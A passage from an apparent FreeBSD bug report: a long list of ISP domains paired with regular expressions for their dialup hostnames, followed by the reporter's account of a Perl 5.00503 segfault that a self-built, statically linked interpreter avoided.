PNiexpress.net.au:^[a-z]+-[0-9]+$; PNigateway.net:^[a-z]+-ppp[0-9]+$; PNiglobal.net:^dalm[0-9]+-[0-9]+$; PNihep.su:^m[0-9]+$; PNihug.co.nz:^p[0-9]+-(max|nas)[0-9]+\.[a-z]+$; PNihug.com.au:^p[0-9]+-max[0-9]+\.[a-z]+$; PNii.ca:^port[0-9]+$; PNiii.org.tw:^[0-9]+-[0-9]+-outside$; PNiitek.net:^iitaxes[0-9]+$; PNij.net:^p[0-9]+-[0-9]+\.(max|tnt)-?[0-9]+$; PNilhawaii.net:^pm[0-9]+-[0-9]+$; PNilinkusa.net:^okc-v-[0-9]+-[0-9]+$; PNimag.net:^[a-z]+([0-9]+)?-port[0-9]+$; PNimaginet.fr:^host[0-9]+-[0-9]+\.[a-z]+\.lan-isdn$; PNimcnyc.com:^dail[0-9]+\.ppp$; PNime.net:^[a-z]+-[0-9]+$; PNimpactnet.com:^ip[0-9]+$; PNimpsat.com.co:^c[0-9]+-[0-9]+$; PNimpsat.net.ar:^[a-z]+[0-9]+p[0-9]+$;^a[0-9]+d[0-9]+$;^rdutlp[0-9]+a[0-9]+$; PNimpulsedata.net:^[0-9]+\.[a-z]+-ts[0-9]+$; PNin-tch.com:^r[0-9]+(arc[0-9]+)?ad[0-9]+$; PNinaxx.net:^.+\.dial$; PNincentre.net:^remote[0-9]+\.[a-z]+$; PNinch.com:^tc[0-9]+-dial-[0-9]+-[0-9]+\.oldslip$; PNinco.com.lb:^dial-.+$; PNincom.net:^pm[0-9]+a[0-9]+$; PNinconnect.com:^.+\.dialup$; PNindiana.edu:^te-[0-9]+-[0-9]+\.teter$; PNinet-1.com:^d[0-9]+-[0-9]+$; PNinet.net:^inet[0-9]+c[0-9]+-[0-9]+$; PNinetarena.com:^pm[0-9]+-.+$; PNinetnow.net:^a[0-9]+-[0-9]+$; PNinetworld.net:^p[0-9]+n[0-9]+$; PNinfi.net:^pm[0-9]+-[0-9]+\.[0-9]+v[0-9]+$;^pm[0-9]+-[0-9]+\.[a-z]+$;^usr[0-9]+-[0-9]+\.[a-z]+$;^wh[0-9]+$; PNinficad.com:^ip[0-9]+(-[0-9]+)?\.ts[0-9]+\.[a-z]+$; PNinfinex.com:^.+\.dialup$; PNinfinityonline.com.au:^.+-dialup[0-9]+$; PNinfoave.net:^dial-.+$; PNinfonent.com:^tahoe-three-[0-9]+$; PNinfosel.net.mx:^juarez[0-9]+$; PNinfoserv.net:^dialup-.+$; PNinfoserve.net:^d[0-9]+-[0-9]+$; PNinfosys-bank.com:^ppp[0-9]+$; PNinjersey.com:^ppp[0-9]+-.+$; PNinnercite.com:^[a-z]+pm[0-9]+a-[0-9]+-[0-9]+$; PNinnetix.com:^.+\.dialup$; PNinnovsoftd.com:^usr-[0-9]+-[0-9]+-[0-9]+$; PNinow.com:^.+\.dial$;^du[0-9]+$; PNinquo.net:^.+\.dial$;^legacy[0-9]+$; PNinreach.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.[a-z]+$; PNinrete.it:^dial[0-9]+$; PNinsnet.com:^dialup-[0-9]+$; PNintcomm.net:^digital[0-9]+$; PNintecnet.net:^dialup.+$; PNintegracom.net:^modem[0-9]+$; PNintellistar.net:^max[0-9]+-.+$; PNinteraccess.com:^d[0-9]+\.[a-z]+[0-9]+$; PNinteract.net.au:^as[0-9]+-[0-9]+\.[a-z]+$; PNinteraxs.net:^dial[0-9]+$; PNinterbusiness.it:^host[0-9]+\.[a-z]+\.[a-z]+$; PNintercom.es:^iv[0-9]+-[0-9]+$; PNintercom.net:^(modem|s|sby)[0-9]+$; PNintercomm.com:^as[0-9]+-[0-9]+$; PNintergate.bc.ca:^pm[0-9]+s[0-9]+$; PNinterlaced.net:^ts[0-9]+-p[0-9]+$; PNinterlinks.net:^[0-9]+-tor$; PNinternet.com.mx:^inter[0-9]+$; PNinternet8.net:^p[0-9]+$; PNinternetconnect.net:^max-[0-9]+-[0-9]+$; PNinternetuser.net:^[a-z]+-[a-z]+[0-9]+-[0-9]+\.cust$; PNinterpath.net:^.+\.dyn$; PNinterpoint.net:^ppp.+$; PNintersatx.net:^dialup.+$; PNinterspan.com:^dial\..+$; PNintersrv.com:^(kronos|wppop-)[0-9]+$; PNintersurfer.com:^pppsrs[0-9]+$; PNinterware.hu:^(harare|kairo|marakesh|nairobi)-[0-9]+$; PNinterworld.net:^.+-ppp[0-9]+$; PNintnet.net:^as-[a-z]+-[0-9]+-[0-9]+$; PNintrex.net:^client[0-9]+-[0-9]+\.[a-z]+$; PNintur.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.ipv[0-9]+$; PNinx.net:^modem[0-9]+\.[a-z]+$; PNinxpress.net:^d[0-9]+-[0-9]+\.[a-z]+$; PNio.com:^.+-dialup-.+$; PNioa.com:^ppp[0-9]+\.[a-z]+$; PNiol.ie:^dialup.+$; PNip.pt:^pm-[a-z]+-[0-9]+-[0-9]+\.net$; PNipass.net:^.+\.dialup\..+$; PNiquest.net:^[a-z-]+[0-9]+-[0-9]+$; PNirt.net:^ppp[0-9]+$; PNis.net.tw:^.+\.dialup$; PNisd.net:^isd-du-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNisdn.net.il:^pri(-ra-)?[0-9]+$; PNiserv.net:^tnt[0-9]+-[0-9]+-[0-9]+$; PNiserve.net:^dialup-blk[0-9]+-[0-9]+$; PNisicom.fr:^kiosque[0-9]+-[0-9]+$; PNisl.net:^ppp.+$; PNisland.net:^dyn[0-9]+$; PNisoc.net:^access-port-[0-9]+-[0-9]+$; PNispchannel.com:^cm[0-9]+\.[a-z]+$; PNispdr.net.au:^ppp[a-z][0-9]+$; PNispi.net:^d[0-9]+\lnk$; PNispmodems.net:^[a-z]+-ts[0-9]+(-h[0-9]+)?-[0-9]+-[0-9]+$; PNistal.com:^m[0-9]+$; PNistar.ca:^(m|t)s[0-9]+-[0-9]+\.[a-z]+$; PNistep.com:^dial[0-9]+$; PNithink.net:^lagoon[0-9]+$; PNitinera.be:^dialup[0-9]+$; PNitnet.it:^getest[0-9]+\.pn$; PNitsnet.com:^.+\.dialup$; PNivic.net:^[a-z]+-dyn[0-9]+$; PNiwaynet.net:^[a-z]?port[0-9]+$; PNixpnet.com:^ixp[0-9]+$; PNixpres.com:^access-[0-9]+-[0-9]+$;^am[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNjacksonville.net:^surf[0-9]+$; PNjakinternet.co.uk:^user[0-9]+$; PNjaring.my:^j[0-9]+\.[a-z][a-z][a-z]([0-9]+)?$; PNjavanet.com:^[a-z-]+-(hiper|us)[0-9]+$; PNjccomp.com:^usr[0-9]+$; PNjcn1.com:^dialup.+$; PNjcs-canada.com:^stat[0-9]+$; PNjefnet.com:^dialup.+$; PNjps.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.[a-z]+$; PNjumpnet.com:^jump-x[0-9]+-[0-9]+$; PNjunctionnet.com:^ppp.+$; PNjungle.net:^dyn[0-9]+\.usr[0-9]+$; PNjvlnet.com:^[a-z]+-pm[0-9]+-[0-9]+-[0-9]+$; PNk12.nd.us:^dyn[0-9]+\..+$; PNk2.net:^ppp[0-9]+.+$; PNkachina.net:^dyn-.+$; PNkajen.com:^ppp-.+$; PNkarlskrona.se:^masq-[0-9]+$; PNkc1.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNkctera.net:^max[0-9]+-[0-9]+$; PNkellnet.com:^[a-z]+-[0-9]+$; PNkems.net:^ppp[0-9]+$; PNkeystonenet.com:^pm[0-9]+[a-z]+[0-9]+-[0-9]+$; PNkeyway.net:^o[0-9]+-dyna-[0-9]+$; PNkih.net:^col[0-9]+$;^sky[0-9]+-[0-9]+$; PNkimnet.co.za:^modem[0-9]+$; PNkis.net:^dialup.+$; PNklever.net:^ppp[0-9]+.+$; PNkm.ua:^.+-async[0-9]+\.infocom$; PNkmbs.com:^host[0-9]+-[0-9]+$; PNknightwave.com:^ip[0-9]+-[0-9]+-[a-z-]+$; PNknoware.nl:^dyn[a-z]+[0-9]+-[0-9]+$; PNkolumbus.fi:^vaasa-kk[0-9]+-[0-9]+-[0-9]+$; PNkorax.net:^.+\.dialin$; PNkoyote.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNkreative.net:^dial[0-9]+$; PNksni.net:^dialup.+$; PNkudos.net:^kudos-[0-9]+-[0-9]+$; PNkwic.com:^.+-ppp[0-9]+$; PNlakemac.net:^pm[0-9]+s[0-9]+\.[a-z]+$; PNlaker.net:^digital-[a-z]+-[0-9]+$; PNlakes.com:^modem[0-9]+-.+$; PNlanline.com:^pm[0-9]+s[0-9]+$; PNlara.on.ca:^lara[0-9]+-[0-9]+$; PNlaser.net:^ffx[0-9]+$; PNlava.net:^awikiwiki[0-9]+$; PNlcc.net:^[a-z]+-[a-z]+[0-9]+-a[0-9]+$; PNlconn.com:^port[0-9]+-[0-9]+$; PNleading.net:^jm[0-9]+-[0-9]+$;^jax[0-9]+-[0-9]+$; PNlevel3.net:^dialup-.+$; PNli.net:^lisuser[0-9]+$; PNlibcom.com:^client-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNlibero.it:^ppp-.+$; PNlightspeed.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNlihq.net:^.+\.dialup$; PNlink.ca:^dial[0-9]+$; PNlink.no:^max[0-9]+-[0-9]+$; PNlinkage.net:^ip[0-9]+-[0-9]+\.[a-z]+$; PNlinkline.com:^bn[0-9]+-la[0-9]+$;^tc[0-9]+-gst[0-9]+$; PNlinkonline.net:^pppa[0-9]+$; PNlitenet.net:^[a-z-]+-tas[0-9]+-[0-9]+$; PNlivingonline.com:^c[0-9]+-[0-9]+\.[a-z]+$; PNllc.net:^ppp.+$; PNlnd.com:^hiper[0-9]+$; PNlobo.net:^s[0-9]+$; PNlocal.net:^(p|s)[0-9]+$; PNlodinet.com:^ppp.+$; PNlogantele.com:^mod[0-9]+$; PNlongisland.com:^user-[0-9]+$; PNloxinfo.net:^[a-z]+ppp[0-9]+-[a-z]+[0-9]+\.[a-z-]+$;^as[0-9]+ppp[0-9]+\.[a-z-]+$; PNlrun.com:^a1-[0-9][a-z][0-9]+\.neo$; PNlsl.com:^[a-z-]+-pm-port-[0-9]+$; PNlsn.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNlvcm.com:^dhcp[0-9]+.+$; PNlvdi.net:^.+-ppp[0-9]+$; PNlynxus.com:^cust-[0-9]+$;^cust-[0-9]+\.[a-z]+$; PNmagic.fr:^ppp-[0-9]+\.net[0-9]+$; PNmagicnet.net:^pm[0-9]+-[0-9]+$; PNmagma.ca:^x[0-9]+port[0-9]+$; PNmain.com:^[a-z]s[0-9]+$; PNmainlink.net:^ppp.+$; PNmango-bay.com:^[a-z]+-dialup-.+$; PNmap.com:^ppp[0-9]+$; PNmatav.net:^.+\.dial$; PNmaui.net:^a[0-9]+-[0-9]+\.[a-z]+$; PNmaxbaud.net:^ppp[0-9]+$; PNmbsi.net:^na-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNmcia.com:^ts[0-9]+p[0-9]+$; PNmcia.net:^usr[0-9]+$; PNmcs.net:^epowers-[0-9]+\.pr$; PNmcsi.net:^ppp.+$; PNmdn.net:^pl[0-9]+$; PNmediaone.net:^client[0-9]+\.atl$;^nic-[0-9]+-[a-z][0-9]+-[0-9]+\.[a-z][a-z]$;^rm[0-9]+-[0-9]+-[0-9]+-[0-9]+-[0-9]+\.[a-z][a-z]$;^we-[0-9]+-[0-9]+-[0-9]+-[0-9]+\.we$; PNmegahertz.net:^dialup.+$; PNmegsinet.net:^c[0-9]+-[0-9]+-[0-9]+\.[a-z-]+$;^c[0-9]+-[0-9]+-[0-9]+\.[a-z]+$;^max[0-9]+-[0-9]+\.[a-z-]+$;^tnt[0-9]+[a-z]?-[0-9]+\.[a-z-]+$; PNmem.net:^k[0-9]+-[0-9]+-[0-9]+$; PNmemlane.com:^ts[0-9]-[0-9]+$; PNmendax.com:^p[0-9]+$; PNmetrolink.net:^mlb[0-9]+-[0-9]+$; PNmho.net:^dialup.+$; PNmia.net:^[0-9]+-pm[0-9]+-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNmich.net:^pm.+\.dialip$; PNmicrolink.net:^pm[0-9]+p[0-9]+$;^xy[0-9]+p[0-9]+$; PNmicron.net:^c[a-z]+[0-9]+p[0-9]+\.[a-z]+$;^c[a-z]+[0-9]+\.[a-z]+$; PNmicrosp.com:^modem[0-9]+$; PNmicroweb.net:^a[0-9]+\.son[0-9]+$;^.+\.dialup$; PNmicroz.net:^host[0-9]+$; PNmidusa.net:^[0-9]+\.modems$;^node[0-9]+\.[a-z]+$; PNmidwest.net:^ofallon[0-9]+$;^paducah[0-9]+$; PNmillennianet.com:^pm.+-ppp-.+$; PNmindinfo.com:^remote[0-9]+\.remote$; PNmindspring.com:^.+\.dialup$; PNmindsync.com:^sk[0-9]+$; PNmines.edu:^.+-ppp.+$; PNmisslink.net:^pm[0-9]+-[0-9]+-[0-9]+$; PNmixcom.com:^dial[0-9]+.+$; PNmldnet.com:^ppp.+$; PNmlink.net:^dyn[0-9]+\.max[0-9]+\.[a-z]+$; PNmo-net.com:^modem[0-9]+-[0-9]+$; PNmonisys.ca:^ppp.+$; PNmonmouth.com:^.+-ppp[0-9]+$; PNmonti.net:^ppp.+$; PNmountain-inter.net:^(wh)?dialup.+$; PNmpinet.net:^[0-9]+ppp[0-9]+$;^[0-9]+-[0-9]+-[0-9]+ppp[0-9]+$;^vacant$; PNmpx.com.au:^dialup.+$; PNmr.net:^ply[0-9]+-[0-9]+\.[a-z]+$; PNmsis.net:^m[0-9]+$; PNmsu.edu:^ub[0-9]+-pc-[0-9]+\.cl$; PNmsus.edu:^dialin.+$; PNmswin.net:^port[0-9]+$; PNmts.net:^[a-z]+[0-9]+-p[0-9]+$; PNmtu-net.ru:^dial[0-9]+$; PNmultiboard.com:^ts[0-9]+-[0-9]+\.[a-z]+$; PNmun.ca:^n[0-9]+h[0-9]+\.remote$; PNmweb.co.za:^(net|npt)-[0-9]+-[0-9]+$;^ltr-[0-9]+-[0-9]+$; PNmwis.net:^[0-9]+-block-[0-9]+$; PNmwnt.net:^[0-9]+$; PNmy.net.tw:^sim-ppp[0-9]+$; PNmyna.com:^[a-z]+-[0-9]+\.[a-z]+[0-9]+$; PNn-link.com:^ppp.+$; PNn2.net:^ts[0-9]+-[0-9]+$; PNn5.com.jm:^[a-z]+[0-9]+$; PNnac.net:^.+\.dial[0-9]+\..+$;^[a-z]+-[a-z]+[0-9]+-s[0-9]+$; PNnacs.net:^.+\.ppp$; PNnai.net:^[a-z]+-(usr)?[0-9]+(-[0-9]+)?$; PNnais.com:^ppp.+$; PNnaisp.net:^dialup.+$; PNnanosecond.com:^.+\.dialup$; PNnanospace.com:^ppp[0-9]+-.+$; PNnapanet.net:^nn-[0-9]+-[0-9]+-[0-9]+-[0-9]+$;^pm-n[0-9]+-[0-9]+$; PNnaplesfl.net:^surf[0-9]+$; PNnas.com:^dialup[0-9]+$; PNnashville.com:^pm[0-9]+-[0-9]+-[0-9]+$; PNnationwide.net:^ppp.+$; PNnb.net:^radish-a-[0-9]+\.[a-z]+$; PNnbnet.nb.ca:^[a-z]+ts[0-9]+c[0-9]+$; PNnccw.net:^dial_in[0-9]+$; PNncku.edu.tw:^ds[0-9]+\.ee$; PNncp.net:^n[0-9]+$; PNncweb.com:^dial[0-9]+.+$; PNndak.net:^.+\.dialup$; PNndh.net:^port[0-9]+\.[a-z]+$; PNndirect.co.uk:^[a-z]+-pm[0-9]+-[0-9]+$; PNne.com.au:^tc[0-9]+-[0-9]+$; PNnet-connect.net:^line[0-9]+$; PNnet-me.com:^ppp.+$; PNnet-shopper.co.uk:^id[0-9]+$; PNnet-star.net:^dialup.+$; PNnet1inc.net:^ppp.+$; PNneta.com:^ppp-.+$; PNnetasset.com:^noname$; PNnetaxs.com:^dyn-[0-9]+\.blackbox-[0-9]+$; PNnetc.net:^ppp.+$; PNnetcologne.de:^dial-ra-nc[0-9]+-[0-9]+$;^dial[0-9]+-[0-9]+$; PNnetcom.ca:^[a-z][a-z][a-z]-[a-z][a-z][0-9]+-[0-9]+$; PNnetcom.com:^[a-z][a-z][a-z]-[a-z][a-z][0-9]+([a-z])?-[0-9]+\.ix$; PNnetcomuk.co.uk:^dialup.+$; PNnetconx.net:^mc[0-9]+$; PNnetdoor.com:^ip-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNnetexp.net:^pm[0-9]+-p[0-9]+$; PNnetfeed.com:^ppp.+$; PNnetgate.com.uy:^tc[0-9]+-[0-9]+-[0-9]+$; PNnetins.net:^.+\.dialup$; PNnetkonnect.net:^nki[0-9]+$; PNnetlabs.net:^.+-dyn[0-9]+$; PNnetline.cl:^h[0-9]+\.r[0-9]+$; PNnetline.net.uk:^user[0-9]+\.dial$; PNnetmagic.net:^ppp[0-9]+.+$; PNnetmcr.com:^gb-[0-9]+-[0-9]+$; PNnetnitco.net:^.+-(quad|hyper)-[0-9]+-[0-9]+$; PNnetone.com:^.+\.dialin$; PNnetone.com.tr:^modemd[0-9]+$; PNnetpci.com:^tc[0-9]+-[0-9]+\.[a-z]+$; PNnetpluscom.com:^s[0-9]+\.pm[0-9]+$; PNnetport.com:^[0-9]+\.max-[a-z]+-[0-9]+$; PNnetquest.com:^dyn-[0-9]+-[0-9]+-[a-z]+$; PNnetra.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNnetrevolution.com:^[0-9]+\.[a-z]+[0-9]+-[0-9]+-[a-z]+$; PNnetrom.com:^hyp[0-9]+-[0-9]+$; PNnetroplex.com:^max[0-9]+-[0-9]+$; PNnetropolis.net:^pm[0-9]+[a-z]+$; PNnetrover.com:^cust[0-9]+\.[a-z]+[0-9]+\.[a-z]+[0-9]+$; PNnetrox.net:^ppp.+$; PNnetrus.net:^dialin.+$; PNnetscad.net:^pm[0-9]+-ppp[0-9]+$; PNnetsecure.net:^usl[0-9]+-[0-9]+-[0-9]+$; PNnetsrq.com:^ppp[0-9]+$; PNnettally.com:^.+\.ppptlh$; PNnetusa1.net:^ip[0-9]+-[0-9]+-[0-9]+$;^kok-[0-9]+$; PNnetvigator.com:^(yckam|hhtam|olkc|olkcm|hhtcm|hhtun|hhtak|hhttnt|olkak|bbig|wtsun|pomuhn|imstest|tpcun|tpcam|olktnt|shtck|shtam|tpcuhn|tswc|wtsak)[0-9]+$;^olkc[0-9]+[a-z][0-9]+$;^pomtnt[0-9]+$;^shttnt[0-9]+$;^tswc[0-9]+[a-z][0-9]+$;^wtsuhn[0-9]+([a-z][0-9]+)?$; PNnetvision.net.il:^c[0-9]+-[0-9]+-[0-9]+\.[a-z]+[0-9]+$;^ras[0-9]+-p[0-9]+\.[a-z]+$;^ts[0-9]+p[0-9]+\.[a-z]+$; PNnetwave.ca:^nw[0-9]+$; PNnetwave.net:^ppp[a-z]+[0-9]+$; PNnetway.ab.ca:^pm[0-9]+-[0-9]+$; PNnetwiz.net:^[a-z]+[0-9]+k[0-9]+$; PNnetwood.net:^ppp.+$; PNnetworktel.net:^ppp.+$; PNnetworx.net.au:^(modem|rocket)[0-9]+$; PNnetwurx.net:^[0-9]+-[0-9]+$; PNnewforce.ca:^ci-[0-9]+$; PNnewyorknet.net:^usr[0-9]+-[0-9]+$; PNnf.net:^wiley.+\.roadrunner$; PNnfinity.com:^ppp.+$; PNnidlink.com:^tnt[0-9]+-[0-9]+$; PNnildram.co.uk:^.+\.dial$; PNnis.net:^p[0-9]+\.[a-z]+$; PNnjaccess.com:^ppp-.+$; PNnji.com:^mp[0-9]+-[0-9]+$; PNnls.net:^dialup-.+[0-9]+$; PNnltc.net:^nltc[0-9]+-[0-9]+$; PNnorth-cyprus.net:^.+-dial[0-9]+$; PNnorthatlantic.nf.ca:^nat[0-9]+-[0-9]+$; PNnorthcoast.com:^port[a-z]+[0-9]+$; PNnorthnet.net:^.+ppp[0-9]+$; PNnothingbutnet.net:^pm[0-9]+-[0-9]+$; PNnova1.net:^as[a-z]+[0-9]+-[a-z]+[0-9]+$; PNnp1.net:^bos[0-9]+-[0-9]+$; PNnpwt.net:^ts[0-9]+-ip[0-9]+\.[0-9]+\.[a-z]+$; PNnstar.net:^ppp.+$; PNnternet.net:^[a-z]+-[a-z]+[0-9]+-[0-9]+$; PNnts-online.net:^dialup.+$; PNntws.net:^host[0-9]+$; PNntx.net:^x[0-9]+$; PNnuc.net:^pm[0-9]+-[0-9]+-[0-9]+$; PNnucleus.com:^pm[0-9]+-[0-9]+.+$; PNnw.com.au:^[a-z]+-[0-9]+$; PNnwc.net:^ppp[0-9]+.+$; PNnwlink.com:^.+\.du$; PNnwonline.net:^[a-z]+[0-9]+ppp[0-9]+$; PNnww.net:^ccr[0-9]+-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNnycom.net:^nj-[0-9]+$; PNnznet.gen.nz:^max[0-9]+-[a-z]+[0-9]+$; PNo-tel-o.net:^.+\.dial$; PNoak-tree.net:^z[0-9]+$; PNoasistech.net:^(clr|ppp)-[a-z]+[0-9]+$; PNobis.com:^[0-9]+\.a[0-9]+$; PNobwan.net:^.+\.dial-access$; PNocii.com:^joe[0-9]+$; PNocsnet.net:^.+\.dial-up$; PNoctet.com:^dialup[0-9]+$; PNodc.net:^ppp.+$; PNodn.de:^dialin[0-9]+$; PNodyssey.on.ca:^ts[0-9]+-[0-9]+$; PNoh.net:^ppp[0-9]+.+$; PNokay.net:^ip[0-9]+\.[a-z]+$; PNokcom.net:^pm[0-9]+-.+$; PNokeechobee.com:^ppp-.+$; PNokmicro.com:^host[0-9]+$; PNokom.net:^chrome[0-9]+$; PNols.com:^[a-z]+[0-9]+-d[0-9]+$; PNoltronics.net:^i[0-9]+-[0-9]+\.[a-z]+-[a-z]+$; PNon-line.de:^dip[0-9]+-[0-9]+\.[a-z]+$; PNone.net:^port-[0-9]+-[0-9]+\.access$; PNone.net.au:^async[0-9]+-[a-z]+-isp-[0-9]+\.nas$;^modem[0-9]+-[a-z]+-isp-[0-9]+$;^modem[0-9]+-can-isp-[0-9]+$; PNoneimage.com:^.+-dialup[0-9]+$;^node[0-9]+\.[a-z]+\.dt$; PNonline.be:^a[0-9]+-[0-9]+\.[a-z]+$; PNonline.no:^.+\.dialup$; PNopen.by:^pool[0-9]+-.+$; PNoptonline.net:^bab[0-9]+-[0-9]+$;^frpt[0-9]+-[0-9]+$;^ros[0-9]+-[0-9]+$; PNopusnet.com:^[a-z]+dialup-[0-9]+$; PNorci.com:^ppp.+$; PNorizont.net:^async[0-9]+$; PNosb.net:^nugget[0-9]+$; PNouter-net.com:^ts[0-9]+$; PNouter.net:^cybercorp[0-9]+$; PNoz.net:^sense-[a-z]+-(pm[0-9]+|56k-[0-9]+)-[0-9]+$; PNozemail.com.au:^sl[a-z]+[0-9]+p[0-9]+$; PNozline.net:^ppp[0-9]+$;^ppp$; PNoztel.com.au:^ras[0-9]+$; PNp3.net:^[a-z]+-ts[0-9]+-[0-9]+$; PNpacbell.net:^adsl-[0-9]+-[0-9]+-[0-9]+-[0-9]+\.dsl\.[a-z]+[0-9]+$;^ppp-.+$; PNpacific.net.hk:^ppp[0-9]+\.dyn[0-9]+$; PNpacific.net.sg:^ppp[0-9]+\.dyn[0-9]+$;^spoff[0-9]+$; PNpacificnet.net:^pm[0-9]+.+$; PNpacket.net:^[a-z]+-?[0-9]+(-[0-9]+)?$; PNpanacom.com:^ppp[0-9]+$; PNpanam.edu:^pc[0-9]+\.tr-labs$; PNpanamacity.com:^ppp[0-9]+$; PNpaprican.ca:^ppp[0-9]+$; PNparadox.net:^ppp[0-9]+$; PNparadoxnw.com:^pdx[0-9]+$; PNparkave.net:^(dialin|maxalpha)[0-9]+$; PNpasat.bg:^ppp[0-9]+$; PNpassport.ca:^.+\.dyn$; PNpcidu.com:^pm[0-9]+port[0-9]+\..+$; PNpcis.net:^dm-[0-9]+$; PNpcmagic.net:^.+\.dialup$; PNpcom.net:^pm[0-9]+-[a-z-]+-p[0-9]+$; PNpdq.net:^.+\.max[0-9]+\.[a-z]+$;^.+\.maxtnt[0-9]+$;^v[0-9]+-[0-9]+\.cisco[0-9]+$; PNpdqnet.com:^vpn[0-9]+$; PNpe.net:^[a-z][0-9]+p[0-9]+\.sun$; PNpeganet.com:^[a-z]+[0-9]+-ts[0-9]+$; PNperfekt.net:^slip-ppp-[0-9]+-[0-9]+$; PNpernet.net:^ppp-.+$; PNphonetech.com:^s[0-9]+$; PNpic.fr:^fdbd[0-9]+$; PNpicknowl.com.au:^dialin[0-9]+$; PNpilot.net:^unknown-[0-9]+-[0-9]+$; PNpinc.com:^pinc[0-9]+$; PNpingnet.at:^.+\.dial$; PNpingnet.ch:^.+\.dial$; PNpingnet.li:^.+\.dial$; PNpingnet.net:^.+\.dial$; PNpinn.com:^s[0-9]+$; PNpioneernet.net:^e[0-9]+$; PNpixi.net:^amp[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNplanetc.com:^.+-dialup-.+$;^[a-z]+max[0-9]+-d-[0-9]+$; PNplanetcity.com:^media[0-9]+$; PNplaneteer.com:^to[0-9]+p[0-9]+$; PNplanetinternet.be:^u[0-9]+-[0-9]+-[0-9]+-[0-9]+\.pop-.+$; PNplanetkc.com:^user[0-9]+$; PNplanetlink.net:^mdcs[0-9]+p[0-9]+$; PNplaynet-kc.com:^[a-z0-9-]+$; PNplinet.net:^[0-9-]+\.tnt[0-9]+$; PNpnx.com:^ppp.+$; PNpoi.net:^fae-[0-9]+$; PNpol.co.uk:^modem[0-9]+\.[a-z]+$; PNpompano.net:^surf[0-9]+$;^pla[0-9]+-[0-9]+$; PNponyexpress.net:^pe[0-9]+-[0-9]+-port-[0-9]+$; PNpopsite.net:^[0-9]+-[0-9]+\.[0-9]+$;^[a-z0-9-]+\.015$;^lv(c|p)a[0-9]+$; PNpore.net:^dyn[0-9]+-.+$; PNport.ac.uk:^sg[0-9]+\.cmd$; PNportal.ca:^.+\.dialup$; PNportjeff.net:^ppp.+$; PNporus.net:^ppp.+$; PNpostnet.com:^[a-z]+tnt[0-9]+-[0-9]+$; PNpower-tech.net:^.+\.dialup$; PNpowernet.net:^p[0-9]+-[0-9]+\.[a-z]+$; PNpowersite.net:^modem[0-9]+$; PNpowerup.com.au:^ae[0-9]+$; PNprado.com:^dyn[0-9]+$; PNpremier1.net:^evt-[0-9]+-[0-9]+$; PNpressroom.com:^usr[0-9]+-[0-9]+\.[a-z]+$; PNprimeline.com:^a-[0-9]+$; PNprimenet.com:^ip-?[0-9]+(-[0-9]+)?\.[a-z]+$; PNprimus.com.au:^ras[0-9]+\.ports\.[a-z]+$; PNprismnet.com:^dialup.+$; PNprodigy.net:^port[0-9]+\.[a-z]+([0-9]+)?$; PNprolink.net:^ppp[0-9]+$; PNprovalue.net:^ppp.+$; PNprovcomm.net:^dyn[0-9]+$; PNprtc.net:^modem[0-9]+$; PNpshift.com:^port-[0-9]+$; PNpsi.net:^.+\.dialup\.canada$;^.+\.isdn[0-9]+\..+$;^.+\.pub-ip$; PNpsn.net:^[0-9]+-[0-9]+\.[a-z]+$; PNpsnw.com:^v?ct[0-9]+-[0-9]+$; PNpstbbs.com:^sl[0-9]+$; PNptd.net:^cs[0-9]+-[0-9]+\.[a-z]+$;^du[0-9]+\.[a-z]+$; PNptialaska.net:^dialups.+$; PNpvnet.com.mx:^pppd[0-9]+$; PNqaccess.net:^dial[0-9]+\.max[0-9]+$; PNqconline.com:^dialin[a-z][0-9]+$; PNqis.net:^pm[0-9]+-[a-z]+-[0-9]+$; PNqnet.com:^.+\.dial$;^k[0-9]+-[a-z]+-[0-9]+-[0-9]+\.[a-z]+$; PNqni.com:^async[0-9]+-[0-9]+$; PNquadrant.net:^[0-9]+k[0-9]+$; PNquancon.com:^s[0-9]+$; PNquebectel.com:^ts[0-9]+-[0-9]+\.f[0-9]+$; PNquik.com:^ip[0-9]+\.[a-z]+$; PNquiknet.com:^.+\.pmpool$;^[0-9]+\.[0-9]+\.ng\.netgatepool$; PNraisio.fi:^raakk[0-9]+\.raakk$; PNrcip.com:^[0-9]+-[0-9]+$; PNrcn.com:^.+\.dialup$;^r[0-9]+a[0-9]+ax\.hlb\.cable$; PNreadynet.net:^port[0-9]+$; PNrealtime.net:^(sa)?max[0-9]+-[0-9]+\.[a-z]+$; PNredrock.net:^ip[0-9]+$; PNredshift.com:^pm[0-9]+-.+$; PNredstone.net:^port[0-9]+$; PNrelaypoint.net:^ppp-.+$;^s[0-9]+-cs[0-9]+-.+$; PNrelia.net:^pm[0-9]+-[0-9]+$; PNrevnetexpress.net:^um[0-9]+$; PNrglobal.net:^max[0-9]+-[0-9]+$; PNrice.edu:^swb[0-9]+a-[0-9]+-[0-9]+$; PNrio.com:^ppp.+$; PNrmci.net:^usr-[a-z]+-[0-9]+$; PNrmi.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$;^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$; ---------------------------------------------------------------------------- >Fix: I dunno. After encountering this fatal bug, I grabbed the Perl 5.00503 sources and built a new Perl interpreter myself from scratch (using -g -O, pure static linking, yes for vfork(), Perl's malloc) and then tried using that and _that_ Perl interpreter does not get the signal 11 crash and everything runs fine. I think that in future, Perl for FreeBSD should be built entirely with static linking anyway, because as the INSTALL doc notes, it may run a lot faster that way anyway. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Jan 3 23: 0: 3 2000 Delivered-To: 